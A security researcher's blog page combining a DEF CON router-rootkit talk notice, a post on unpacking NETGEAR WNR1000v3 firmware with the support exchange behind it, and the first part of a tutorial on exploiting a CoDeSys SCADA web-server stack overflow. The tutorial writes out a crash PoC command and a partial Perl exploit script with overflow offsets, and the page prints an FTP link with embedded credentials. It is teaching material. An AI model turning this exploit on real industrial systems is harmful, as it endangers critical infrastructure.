DEF CON 20 Presentation

By the way, I will be presenting “Owning the Network: Adventures in Router Rootkits” this Sunday, 12 noon at DEF CON 20.  If you enjoy ownage, networks, adventures, routers, and rootkits, this talk is for you. I’ll be releasing my firmware generation/manipulation framework at the talk, which will be made available on the site shortly afterwards.  Slides and (hopefully) video will be available as well.

Post-conference update:

Download slides: owning-the-network-adventures-in-router-rootkits.pdf
Download rpef: https://github.com/mncoppola/rpef

NETGEAR unsquashfs.c version 1.3

Last month I posted a portion of a ridiculous conversation with NETGEAR over source code it withheld to unpack the filesystem on one of its routers.  I would like to announce that against all expectations, NETGEAR actually pulled through and sent me the source code I was looking for!

As mentioned previously, I posted a detailed explanation of my situation over on the OpenWRT forum.  To avoid any unnecessary re-explaining of background information, I’ll copy/paste it here:


Hey guys,

I’m trying to unpack SquashFS on the WNR1000v3 1.0.2.26 but have been running into lots of issues.

The firmware image is available here: http://www.downloads.netgear.com/files/WNR1000v3-V1.0.2.26_51.0.59NA.chk

The source for it is available here: http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip

binwalk 0.4.2 provides the following output:

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
58        	0x3A      	TRX firmware header, little endian, header size: 28 bytes,  image size: 2584576 bytes, CRC32: 0x9861D9FF flags/version: 0x10000
86        	0x56      	LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 1634304 bytes
592666    	0x90B1A   	Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 1988809 bytes, 421 inodes, blocksize: 65536 bytes, created: Fri Jul 16 06:30:19 2010

Extract the filesystem at offset 592666:

$ dd if=WNR1000v3-V1.0.2.26_51.0.59NA.chk of=filesystem.bin bs=592666 skip=1
3+1 records in
3+1 records out
1991968 bytes (2.0 MB) copied, 0.0391462 s, 50.9 MB/s

As noted by binwalk, the filesystem has a non-standard magic number:

$ hexdump -C filesystem.bin | head -n2
00000000  73 68 73 71 a5 01 00 00  84 7a 00 37 dc 7c 00 de  |shsq.....z.7.|..|
00000010  8a 04 08 40 06 01 40 02  00 63 00 09 03 00 00 00  |...@..@..c......|

Trying to unpackage it immediately returns the following error:

$ unsquashfs filesystem.bin
Can't find a SQUASHFS superblock on filesystem.bin

…which is to be expected. Correct the magic number to “hsqs” and now:

$ unsquashfs filesystem.bin
Parallel unsquashfs: Using 2 processors
gzip uncompress failed with error code -3
read_block: failed to read block @0x1e547f
read_fragment_table: failed to read fragment table block
FATAL ERROR aborting: failed to read fragment table

A little sleuthing returns that the filesystem is actually compressed using lzma, not gzip, so try a different compilation:

$ ../../../firmware-mod-kit-read-only/trunk/src/others/squashfs-4.0-lzma/unsquashfs-lzma filesystem.bin
Parallel unsquashfs: Using 2 processors
uncompress failed, unknown error -3
read_block: failed to read block @0x1e547f
read_fragment_table: failed to read fragment table block
FATAL ERROR aborting: failed to read fragment table

I can confirm that none of the publicly available unsquashfs utilities I can find are able to unpackage the file. I’ve tried using every version of unsquashfs, every variant of it, in every package that incorporates it (e.g., firmware-mod-kit). firmware-mod-kit’s scripts are unsuccessful as well.

Looking through the firmware source code, I see:

$ find . -name *squash*
./src/router/mipsel-uclibc/target.squashfs
./src/router/squashfs
./src/router/squashfs/mksquashfs.c
./src/router/squashfs/mksquashfs.h
./src/linux/linux/scripts/squashfs
./src/linux/linux/scripts/squashfs/mksquashfs
./src/linux/linux/scripts/squashfs/mksquashfs.c
./src/linux/linux/scripts/squashfs/mksquashfs.h
./src/linux/linux/scripts/squashfs/squashfs_fs.h
./src/linux/linux/fs/squashfs
./src/linux/linux/fs/squashfs/.squashfs2_0.o.flags
./src/linux/linux/fs/squashfs/squashfs2_0.o
./src/linux/linux/fs/squashfs/squashfs.o
./src/linux/linux/fs/squashfs/squashfs.h
./src/linux/linux/fs/squashfs/squashfs2_0.c
./src/linux/linux/fs/squashfs/.squashfs.o.flags
./src/linux/linux/include/linux/squashfs_fs_i.h
./src/linux/linux/include/linux/squashfs_fs.h
./src/linux/linux/include/linux/squashfs_fs_sb.h
./src/linux/linux/include/config/squashfs.h
./src/linux/linux/include/config/squashfs

…and unfortunately no unsquashfs.c code. In the meantime, I’ve contacted Netgear asking if they have it available.

The exact version they’re using is a bit confusing:

$ grep "mksquashfs version" -r .
./src/router/mipsel-uclibc/target/lib/modules/2.4.20/build/scripts/squashfs/mksquashfs.c:	printf("mksquashfs version 2.2-r2n");
./src/router/squashfs/mksquashfs.c:	printf("mksquashfs version 3.2-r2 (2007/01/15)n");
./src/linux/linux/scripts/squashfs/mksquashfs.c:	printf("mksquashfs version 2.2-r2n");

Grepping for our non-standard magic number reveals:

$ grep 0x73687371 -r .
./src/router/mipsel-uclibc/target/lib/modules/2.4.20/build/include/linux/squashfs_fs.h:#define SQUASHFS_MAGIC_LZMA_SWAP	0x73687371
./src/linux/linux/include/linux/squashfs_fs.h:#define SQUASHFS_MAGIC_LZMA_SWAP	0x73687371

Okay, great. Some Googling and it seems that this patch should do the trick: https://dev.openwrt.org/browser/trunk/tools/squashfs4/patches/170-add_support_for_LZMA_MAGIC_to_unsqashfs.patch?rev=28489
Patch unsquashfs, rebuild, and:

$ ./unsquashfs ../../filesystem.bin
Parallel unsquashfs: Using 2 processors
lzma uncompress failed with error code 1
read_block: failed to read block @0x1e547f
read_fragment_table: failed to read fragment table block
FATAL ERROR aborting: failed to read fragment table

Would anyone have any advice to offer, or mind lending a hand trying to get this filesystem unpackaged? Thank you in advance.


After about a month of back and forth conversation with their technical support team, I finally received a message linking me to the unsquashfs.c file I was looking for (download link is at the end of this post).

The following steps outline how to compile:

  1. Download and extract http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip
  2. Copy unsquashfs.c into bcm5356/src/router/squashfs
  3. `cd bcm5356/src/router/squashfs; make`
sh-4.1$ ./unsquashfs
SYNTAX: ./unsquashfs [options] filesystem [directory or file to extract]
	-v[ersion]		print version, licence and copyright information
	-i[nfo]			print files as they are unsquashed
	-l[s]			list filesystem only
	-d[est] 	unsquash to , default "squashfs-root"
	-f[orce]		if file already exists then overwrite
sh-4.1$ ./unsquashfs -version
unsquashfs version 1.3 (2007/01/02)
copyright (C) 2007 Phillip Lougher 

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2,
or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
sh-4.1$

And to demonstrate its functionality:

sh-4.1$ dd if=WNR1000v3-V1.0.2.26_51.0.59NA.chk of=filesystem.bin bs=592666 skip=1
3+1 records in
3+1 records out
1991968 bytes (2.0 MB) copied, 0.0060848 s, 327 MB/s
sh-4.1$ ./unsquashfs filesystem.bin 

created 327 files
created 35 directories
created 59 symlinks
created 0 devices
created 0 fifos
sh-4.1$ ls -R squashfs-root/
squashfs-root/:
bin  dev  etc  lib  media  mnt	proc  sbin  sys  tmp  usr  var	www

squashfs-root/bin:
busybox  cp    gunzip  ls     mount  ps   rmdir   wps_ap
cat	 eapd  gzip    mkdir  msh    pwd  sh	  wps_monitor
chmod	 echo  kill    mknod  ping   rm   umount  zcat

squashfs-root/dev:

squashfs-root/etc:
icon.ico  large.ico    ld.so.conf  ppp		small.ico
iproute2  ld.so.cache  lld2d.conf  resolv.conf

squashfs-root/etc/iproute2:

squashfs-root/etc/ppp:

squashfs-root/lib:
ld-uClibc.so.0	libc.so.0   libgcc_s.so.1  libpthread.so.0  libutil.so.0
libcrypt.so.0	libdl.so.0  libm.so.0	   libresolv.so.0   modules

squashfs-root/lib/modules:
2.4.20

squashfs-root/lib/modules/2.4.20:
build  kernel  pcmcia

squashfs-root/lib/modules/2.4.20/kernel:
drivers  net

squashfs-root/lib/modules/2.4.20/kernel/drivers:
net

squashfs-root/lib/modules/2.4.20/kernel/drivers/net:
emf  et  igs  wl

squashfs-root/lib/modules/2.4.20/kernel/drivers/net/emf:
emf.o

squashfs-root/lib/modules/2.4.20/kernel/drivers/net/et:
et.o

squashfs-root/lib/modules/2.4.20/kernel/drivers/net/igs:
igs.o

squashfs-root/lib/modules/2.4.20/kernel/drivers/net/wl:
wl.o

squashfs-root/lib/modules/2.4.20/kernel/net:
ipv4

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4:
acos_nat  l7_filter  multissidcontrol  opendns	ubd

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/acos_nat:
acos_nat.o

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/l7_filter:
l7_filter.o

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/multissidcontrol:
MultiSsidControl.o

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/opendns:
openDNS_hijack.o

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/ubd:
ubd.o

squashfs-root/lib/modules/2.4.20/pcmcia:

squashfs-root/mnt:

squashfs-root/proc:

squashfs-root/sbin:
acos_init     burnrf	 ifconfig  ntpclient  reset_no_reboot	     version
acos_service  burnsn	 init	   pppd       restart_all_processes  write
bd	      erase	 insmod    preinit    rmmod
burnboardid   getchksum  leddown   rc	      routerinfo
burnethermac  gpio	 ledup	   read_bd    ubdcmd
burnpin       hotplug	 lsmod	   reboot     uptime

squashfs-root/sys:

squashfs-root/tmp:

squashfs-root/usr:
bin  lib  sbin	tmp

squashfs-root/usr/bin:
free  killall  route  telnetd  tftp  wget

squashfs-root/usr/lib:
libacos_shared.so  libbcm.so  libnvram.so   libwpscom.so
libbcmcrypto.so    libnat.so  libshared.so  tc

squashfs-root/usr/lib/tc:
q_netem.so

squashfs-root/usr/sbin:
acl_logd	   email      lld2d	   swresetd	  upnpd        wlconf
bpalogin	   emf	      nas	   tc		  upnpnat      wpsd
bpa_monitor	   epi_ttcp   nvram	   telnetenabled  vconfig      zebra
brctl		   et	      outputimage  tfmeter	  wan_debug
cli		   ftpc       pot	   timesync	  wandetect
ddnsd		   heartbeat  pppoecd	   udhcpc	  wanled
dnsmasq		   httpd      pptp	   udhcpd	  wl
dnsRedirectReplyd  igs	      ripd	   upnp		  wlanconfigd

squashfs-root/www:
Add_WPS_Client.htm		 PWD_password.htm
backpage2.htm			 QOS_check_uplink_band_width.htm
backpage.htm			 QOS_main_h.htm
BAK_backup_h.htm		 QOS_main.htm
BAK_backup.htm			 QOS_ruletab.htm
BAK_cfm.htm			 QOS_service.htm
BAS_basic.htm			 redbull.gif
BAS_basictop.htm		 router-info.htm
BAS_bpa_h.htm			 RST_interval.htm
BAS_bpa.htm			 RST_statistics.htm
BAS_ether_h.htm			 RST_stattbl.htm
BAS_ether.htm			 RST_status_h.htm
BAS_pppoe_basic.htm		 RST_status.htm
BAS_pppoe_basictop.htm		 RST_st_bpa.htm
BAS_pppoe_flet2.htm		 RST_st_dhcp.htm
BAS_pppoe_flet.htm		 RST_st_fix.htm
BAS_pppoe_h.htm			 RST_st_poe.htm
BAS_pppoe.htm			 RST_st_pptp.htm
BAS_pppoe_other.htm		 RST_wanstat.htm
BAS_pptp_h.htm			 settings_wnr1000v3.jpg
BAS_pptp.htm			 spacer.gif
BAS_wtest_d.htm			 SRV_response.htm
BAS_wtest_l.htm			 start.htm
BAS_wtest_ppp2.htm		 start_update.htm
BKS_err.htm			 STR_add.htm
BKS_keyword_h.htm		 StringTableUpload.html
BKS_keyword.htm			 string_table_wnr1000v3
BKS_keyword_ppp2.htm		 STR_routes_h.htm
BKS_service_add_h.htm		 STR_routes.htm
BKS_service_add.htm		 style.css
BKS_service_edit.htm		 traffic_important_update.htm
BKS_service_h.htm		 traffic_interval.htm
BKS_service.htm			 traffic_meter_h.htm
BKS_service_ppp2.htm		 traffic_meter.htm
browser.js			 traffic_start_update.htm
CheckNewFW.html			 traffic_stattbl.htm
currentsetting.htm		 traffic_status.htm
darkblue.gif			 traffic_warning.htm
debuginfo.htm			 UPG_fw_check.htm
DEV_device_h.htm		 UPG_upgrade_h.htm
DEV_device.htm			 UPG_upgrade.htm
DIG_reboot2.htm			 upload.gif
DIG_reboot3.htm			 UPNP_upnp_h.htm
DIG_reboot4.htm			 UPNP_upnp.htm
DIG_reboot.htm			 utility.js
DIG_update.htm			 VER_check_h.htm
DNS_ddns_h.htm			 VER_check.htm
DNS_ddns.htm			 VER_download_h.htm
DNS_ddns_st.htm			 VER_download.htm
form.css			 VER_fw_found.htm
func.js				 VER_fwlang_found.htm
FW_check.htm			 VER_fw_not_found.htm
FW_email_h.htm			 VER_result_h.htm
FW_email.htm			 VER_sel_h.htm
FW_forward_h.htm		 VER_sel.htm
FW_forward.htm			 VER_write2.htm
FW_forward_service_h.htm	 VER_write_h.htm
FW_forward_service.htm		 VER_write.htm
FW_log_h.htm			 WAN_wan_h.htm
FW_log.htm			 WAN_wan.htm
FW_pt_h.htm			 WiFi_HiddenPage.htm
FW_pt.htm			 WIZ_bpa_h.htm
FW_pt_service.htm		 WIZ_bpa.htm
FW_remote_h.htm			 WIZ_cfm_h.htm
FW_remote.htm			 WIZ_cfm.htm
FW_schedule_h.htm		 WIZ_det_fix_h.htm
FW_schedule.htm			 WIZ_det_fix.htm
FW_schedule_ppp2.htm		 WIZ_detwan.htm
help.css			 WIZ_dyn_h.htm
IA_IP_SUBNET.htm		 WIZ_dyn.htm
important_update.htm		 WIZ_fix_h.htm
index.htm			 WIZ_fix.htm
LANG_brs_conflict_h.htm		 WIZ_ph_fail_h.htm
LANG_brs_conflict.htm		 WIZ_ph_fail.htm
LANG_check_brslang.htm		 WIZ_pppoe_fleteast.htm
LANG_check.htm			 WIZ_pppoe_fletother.htm
LANG_check_top.htm		 WIZ_pppoe_fletwest.htm
LANG_download.htm		 WIZ_pppoe_h.htm
LANG_failed.htm			 WIZ_pppoe.htm
LANG_found.htm			 WIZ_pptp_h.htm
LANG_lang_h.htm			 WIZ_pptp.htm
LANG_lang.htm			 WIZ_result.htm
LANG_no_connection.htm		 WIZ_sel_h.htm
LANG_not_found.htm		 WIZ_sel.htm
LANG_upgrade.htm		 WLG_acl_add_h.htm
LANG_write.htm			 WLG_acl_add.htm
LAN_lan_h.htm			 WLG_acl_edit.htm
LAN_lan.htm			 WLG_acl_h.htm
LAN_reserv_add_h.htm		 WLG_acl.htm
LAN_reserv_add.htm		 WLG_adv_h.htm
LAN_reserv_edit_h.htm		 WLG_adv.htm
LAN_reserv_edit.htm		 WLG_wds_h.htm
LGO_logout.htm			 WLG_wds.htm
liteblue.gif			 WLG_wireless1_2.htm
md5.js				 WLG_wireless1.htm
menublue.gif			 WLG_wireless2_2.htm
mimo_logo_wnr1000v3.jpg		 WLG_wireless_2_h.htm
MNU_access_failure.htm		 WLG_wireless_2.htm
MNU_access_unauthorized.htm	 WLG_wireless2.htm
MNU_blank.htm			 WLG_wireless3_2.htm
MNU_login.htm			 WLG_wireless3.htm
MNU_menu.htm			 WLG_wireless4_2.htm
MNU_menu_no_link.htm		 WLG_wireless_h.htm
MNU_top.htm			 WLG_wireless.htm
msg.js				 WPS_Add_Client_FAIL_Cancel_Change.htm
NoInternetConn.html		 WPS_Add_Client_FAIL_Cancel.htm
NoInternet.html			 WPS_Add_Client_FAIL_ErrorPIN.htm
POT.htm				 WPS_Add_Client_FAIL_PBC_Conflict_Change.htm
pppoe2_domain_add.htm		 WPS_Add_Client_FAIL_PBC_Conflict.htm
pppoe2_domain_edit.htm		 WPS_Add_Client_FAIL_PIN_Change.htm
pppoe2_ip_add.htm		 WPS_Add_Client_FAIL_PIN.htm
pppoe2_ip_edit.htm		 WPS_Add_Client_FAIL_Timeout_Change.htm
pppoe2_port_add.htm		 WPS_Add_Client_FAIL_Timeout.htm
pppoe2_port_edit.htm		 WPS_Add_Client_OK_Change.htm
Public_UPNP_gatedesc.xml	 WPS_Add_Client_OK.htm
Public_UPNP_LANHostCfgMag.xml	 WPS_Add_Client_PBC.htm
Public_UPNP_Layer3F.xml		 WPS_Add_Client_PIN.htm
Public_UPNP_WAND.xml		 WPS_h.htm
Public_UPNP_WANEtherLinkCfg.xml  WPS.htm
Public_UPNP_WANIPConn.xml	 wps_icon_off.bmp
Public_UPNP_WANPPPConn.xml	 wps_icon_on.bmp
PWD_passwd_h.htm		 WPS_PIN.htm
sh-4.1$

In summary, the following code has been verified to unpack SquashFS filesystems on the following NETGEAR devices:

  • WNR1000v3 1.0.26NA
  • WGR614v10 1.0.26NA

The unsquashfs code may be downloaded here: unsquashfs-1.3.c

If there is one lesson to be learned from this experience, it’s amazing what you can receive if you are polite and simply choose to ask.

An Interesting Conversation with NETGEAR

For the past 8 months or so, I’ve been heading a project on reverse engineering router firmware with the end goal of developing a generalized, repeatable, effective technique to backdoor router firmwares images (and ultimately the devices they are flashed upon).  While I have much to share about my research and progress so far, it is unfortunately not the topic of this post, but will instead have to wait until a future one.

Instead, this post will be used to publish the beginning of an interesting conversation I started with NETGEAR.  The latest target of my project is the NETGEAR WNR1000v3 router, specifically the V1.0.2.26 North America (NA) firmware image.  After analyzing the image, I discovered an LZMA-compressed SquashFS filesystem but was unable to extract it using any public means available.  For more information, I posted a detailed case regarding the issue on the OpenWRT forum: https://forum.openwrt.org/viewtopic.php?id=35157

The WNR1000v3 firmware is in fact open source (available here), but it does not contain the necessary unsquashfs utility to unpackage the filesystem, only the mksquashfs utility used to create it:

$ find . -name *squashfs*
./src/router/mipsel-uclibc/target.squashfs
./src/router/squashfs
./src/router/squashfs/mksquashfs.c
./src/router/squashfs/mksquashfs.h
./src/linux/linux/scripts/squashfs
./src/linux/linux/scripts/squashfs/mksquashfs
./src/linux/linux/scripts/squashfs/mksquashfs.c
./src/linux/linux/scripts/squashfs/mksquashfs.h
./src/linux/linux/scripts/squashfs/squashfs_fs.h
./src/linux/linux/fs/squashfs
./src/linux/linux/fs/squashfs/.squashfs2_0.o.flags
./src/linux/linux/fs/squashfs/squashfs2_0.o
./src/linux/linux/fs/squashfs/squashfs.o
./src/linux/linux/fs/squashfs/squashfs.h
./src/linux/linux/fs/squashfs/squashfs2_0.c
./src/linux/linux/fs/squashfs/.squashfs.o.flags
./src/linux/linux/include/linux/squashfs_fs_i.h
./src/linux/linux/include/linux/squashfs_fs.h
./src/linux/linux/include/linux/squashfs_fs_sb.h
./src/linux/linux/include/config/squashfs.h
./src/linux/linux/include/config/squashfs

While waiting for potential replies on the reverse engineering route, I additionally reached out to NETGEAR itself to see if it would be possible for them to simply provide their version of the unsquashfs code.  As this utility is not necessary for the actual firmware build process, I was wholly expecting an answer of either “I’m sorry, we have no such tool” or “We simply are unable to send it to you,” but figured it was worth a try anyways.  However, I was a bit surprised to instead receive the answer that apparently the WNR1000v3 is actually not open source.

…What?

3/2/2012 3:06:00 PM
REFURB
2012-02-28
Other
Hi Netgear, I'm reviewing the source code for your WNR1000v3 router
(specifically, the WNR1000v3-V1.0.2.26_51.0.59NA image), and I see
under bcm5356/src/router/squashfs that you only provide mksquashfs,
and not unsquashfs. Since it seems that your squashfs utilities have
special patches to perform LZMA compression, stock unsquashfs utilities
don't work (nor do any other variants I can find publicly). Would it
be possible to receive unsquashfs.c, and any other relevant files to
unpackage the filesystem on this router? Thank you!
3/4/2012 2:02:00 AM
From Agent ID: 1410

Case ID: 18044702

Dear Michael, 

Thank you for choosing NETGEAR. My name is Naveen, and I am your
support engineer today.

I understand that you want to modify the source code of the router.
We apologize for this inconvenience. Because we are doing this online,
it might require a few email exchanges to resolve the issue. Rest
assured that we will do our best to resolve your case quickly.

Regarding your concern I am sorry to inform you that we cannot modify
the source code of this router because its not an open source. 

Please contact us again if you require further assistance.

Please do visit http://support.netgear.com for any technical queries
regarding NETGEAR products. 

A notice will automatically be sent to your email address when we have
responded to your inquiry. Please DO NOT REPLY to that email. Instead,
to add additional information to your case, click No to the question
"Was your problem resolved with the information provided by the NETGEAR
representative above?"

If you click YES, your case will be closed and a separate email
containing a survey link will be sent so you can share with us your
customer support experience. 

Thanks again for choosing NETGEAR. Have a great day! 

Sincerely, 
Naveen
Technical Support 
NETGEAR, Inc.
http://my.netgear.com 

***NOTE: Your case will autoclose after 7 days of inactivity.***

Did you know that NETGEAR provides support for all your home networking
devices and PCs? We can provide a one-stop solution - no need to call
multiple vendors* for support. If you would like to learn more about
the NETGEAR GearHead services, go to http://kbserver.netgear.com/kb_web_files/gearhead/home.html.

I have replied to the ticket and will provide updates as the conversation progresses.

UPDATE: NETGEAR has replied:

3/4/2012 2:27:00 AM
Hi Naveen,
Thank you for your reply, I greatly appreciate it. However I am very
confused. That model router is in fact open source, contrary to what
you mentioned. It is listed on http://support.netgear.com/app/answers/detail/a_id/2649 and specifically may be downloaded from http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip 

According to the GPL license, all derivative work must also be GPL
licensed, and therefore open source. NETGEAR''s WNR1000v3 product is
based upon the GPL-licensed Linux kernel, as well as the GPL-licensed
SquashFS filesystem, and therefore directly falls under this category
of derivative work. NETGEAR has published all versions of the WNR1000v3
firmware free and open source, however, they lack the unsquashfs utility
that is part of the SquashFS project.

May NETGEAR please release the source code to the unsquashfs utility
for the WNR1000v3 V1.0.2.26 firmware, which is part of the SquashFS
software project used to build this router''s filesystem? Thank you.
3/4/2012 3:44:00 AM
From Agent ID: 1410

Case ID: 18044702

Dear Michael,

My name is Naveen, and I am following up on your Support case.

After reviewing the information you provided, I have a better
understanding of your issue 

Please do click on the link below to know more about the router:

http://support.netgear.com/app/answers/detail/a_id/19969 

Please do visit http://support.netgear.com for any technical queries
regarding NETGEAR products.

A notice will automatically be sent to your email address when we have
responded to your inquiry. Please DO NOT REPLY to that email. Instead,
to add additional information to your case, click No to the question
"Was your problem resolved with the information provided by the NETGEAR
representative above?"

If you click YES, your case will be closed and a separate email
containing a survey link will be sent so you can share with us your
customer support experience. 

Thanks again for choosing NETGEAR. Have a great day! 

Sincerely, 

Naveen
Technical Support 
NETGEAR, Inc.
http://my.netgear.com 

***Please be aware that your case will autoclose after 7 days of
inactivity.***

Did you know that NETGEAR provides support for all your home networking
devices and PCs? We can provide a one-stop solution - no need to call
multiple vendors* for support. If you would like to learn more about
the NETGEAR GearHead services, go to http://kbserver.netgear.com/kb_web_files/gearhead/home.html.

Anatomy of a SCADA Exploit: Part 1 – From Overflow to EIP

Introduction

On November 29, 2011, Luigi Auriemma published a security advisory containing multiple vulnerabilities in the 3S CoDeSys Automation Suite.  Like much of the other software Auriemma has researched in past months, CoDeSys is SCADA software.  For those who aren’t familiar with the term, SCADA stands for “Supervisory Control and Data Acquisition,” which is just a fancy way of saying “the code that runs big machines, assembly lines, and the utilities we rely on every day (water, electricity, etc.).”  To put it more bluntly, things that should never fail and should never be messed with.

SCADA applications and appliances have been receiving a lot of media attention lately for all the security problems they’re causing, most infamously being the root of the Stuxnet outbreak in 2010.  If you spend more than a few minutes looking at the applications that power our infrastructure and the systems they run on, you’ll realize it’s time to get a little nervous.  Much of this software is full of bugs, poorly maintained by the vendors, and has the look and feel of the Windows 2000 era.

I intend to publish a three-part series of blog posts detailing my experience weaponizing Auriemma’s CoDeSys advisory, turning simple DoS into remote code execution.  It is meant to be a learning experience, and hopefully it will help others in writing their own exploits as I explain the steps taken to circumvent the different exploit mitigations implemented in the software.

A minimal amount of experience with memory corruption but a fair amount of intuition will be necessary to follow along.  While I will introduce concepts as they appear, I will not explain every little detail for the sake of fluency and brevity.

Identifying the Vulnerability

The exact bug we’ll be looking at is a stack-based overflow in the CmpWebServer component of CoDeSys:

------------------------------
B] CmpWebServer stack overflow
------------------------------

CmpWebServer is the component used in services like 3SRTESrv3 and
CoDeSysControlService for handling the HTTP connections on port 8080.

The library is affected by a buffer overflow in the function 0040f480
that copies the input URI in a limited stack buffer allowing code
execution:

 0040F5C5 |> 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C]
 0040F5C8 |. 2B55 08 SUB EDX,DWORD PTR SS:[EBP+8]
 0040F5CB |. 52 PUSH EDX
 0040F5CC |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
 0040F5CF |. 50 PUSH EAX
 0040F5D0 |. 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
 0040F5D3 |. 51 PUSH ECX
 0040F5D4 |. E8 97420000 CALL CoDeSysC.00413870 ; memcpy
...
===========
3) The Code
===========
...
B]
  udpsz -c "GET /" 0 -b a -c "\\a HTTP/1.0\r\n\r\n" -1 -T -D SERVER 8080 8192

For this post we’ll be exploiting CoDeSys V3.4 SP4 Patch 2 on Windows XP Professional SP3.  While this is not the most up-to-date version of the OS, it has been chosen for various reasons, most prominently due to the fact that DEP is enabled but ASLR is not implemented.  This is a good point to start at both technically and conceptually — Don’t worry, ASLR will play a major role towards the end of this series.

You can grab the software here: ftp://ftppub2:eYDqlL5v@ftp.3s-software.com/SetupV30/CoDeSys%203.4SP4Patch2%20Release.zip

Start CoDeSys SoftMotion Win V3 (the part of CoDeSys that CmpWebServer resides in) and attach Immunity Debugger to the running process.  Let’s run the PoC and see what happens:

sh-4.1$ gcc -o udpsz udpsz.c md5.c -lz -ldl -pthread
sh-4.1$ ./udpsz -c "GET /" 0 -b a -c "\\\\a HTTP/1.0\r\n\r\n" -1 -T -D 172.16.66.128 8080 8192

UDPSZ 0.3.3a
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org

- target   172.16.66.128 : 8080
- TCP mode
- random seed 0x4f079359
- content at offset 00000000 of 5 bytes
- appended content of 15 bytes
- average or maximum packet size: 8192
- send packets:
.
- finished
sh-4.1$

Yup, looks like a bug.  Before we dig any further let’s inspect exactly what bytes we’re sending to trigger the crash.  With a little netcat action, we learn that the PoC program is sending the following HTTP request:

sh-4.1$ nc -l 8080 | hexdump -C
00000000  47 45 54 20 2f 61 61 61  61 61 61 61 61 61 61 61  |GET /aaaaaaaaaaa|
00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
*
00001ff0  61 5c 61 20 48 54 54 50  2f 31 2e 30 0d 0a 0d 0a  |a\a HTTP/1.0....|
00002000
sh-4.1$

That means our exploit will be structured like:

GET /[overflow]\a HTTP/1.0[crlf][crlf]

Okay, set a breakpoint and let’s inspect the call to memcpy() referenced in the advisory:

Interestingly enough, it appears we found a (functionality) bug in Immunity if you take a look at the memcpy() call frame on the stack.  In actuality we’re copying to dest=0x02cdfb44 from src=0x00399dc8 a total of n=0x1ff4=8180 bytes.

Scrolling down a bit in the dump window we see our crafted URL string in memory in its entirety, staged to be memcpy()’d somewhere on the stack.  Continuing execution, we hit the same write exception as the first run through.  Our first challenge will be getting around this issue before we’ll be able to continue.

 

Over the Mountain and Through the Woods…

The first step will be to look at the call stack, which will play two important roles in our debugging effort.  First, if you notice the third function on the stack, we corrupted the return pointer with 0x61616161, or “aaaa”.  This confirms that we have in fact overflowed a buffer and now control some function’s call frame.  The ultimate goal will be navigating through the rest of the code until we are able to return from this function, gaining control over EIP and eventually executing our payload.

The second role, one more relevant to the current situation, is determining which function was last called before the exception.  Looking at the top of the call stack, we see that it crashed somewhere within the function called from 0x0040f5d4… the same memcpy() that we looked at earlier!  If you read the exception message carefully, the program crashed due to an inability to write to the address 0x02ce0000, which just so happens to be the bottom of the stack.  Our overflow string was so long that we tried writing past the stack itself!  This would be a good time to start writing our exploit script – let’s shorten the overflow string and try again.

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"x1000;
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

And take a look at our new crash:

Progress!  Looks like we’re now reaching an exception reading a pointer we control.  If we find the exact offset in our buffer this pointer is being derived from and replace it with a pointer to readable memory, we should be able to get past this part as well.  In order to pinpoint exactly where this pointer resides in our buffer, we’ll call upon the great mona.py to generate a cyclic pattern.  By replacing our overflow string with a cyclic pattern, the pointer will be replaced with a unique four-byte sequence, which we’ll then be able to trace to a specific offset in the string.

Run it again, and we see the exception but with a new pointer:

0x72413672 in little endian is “\x72\x36\x41\x72” which decodes to ASCII “r6Ar”.  Inspecting our cyclic pattern results in finding “r6Ar” at offset 529.  Replace the next four bytes with “ZZZZ” to prove the concept:

Cool.  Let’s replace this pointer with an address of somewhere in our buffer (on the stack) for now.  As long as it’s readable it won’t matter.  Moving on, we’ll leave the cyclic pattern in place as it may be helpful in the future.  Let’s see where the program takes us now…

Looks like this time the program is crashing due to a write exception to another pointer we control (the random, all-ASCII pointer clues to a cyclic pattern).  Following the same processes as before, 0x38724137 in little endian is “\x37\x41\x72\x38” which decodes to ASCII “7Ar8”.  Inspecting our cyclic pattern results in finding “7Ar8” at offset 533, adjacent to the readable pointer above.  We’ll replace this one with a random pointer on the stack, outside our buffer.  That brings us to the following exploit script so far:

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

$exploit = "";
$exploit .= "GET /";
#$exploit .= "A"x1000;
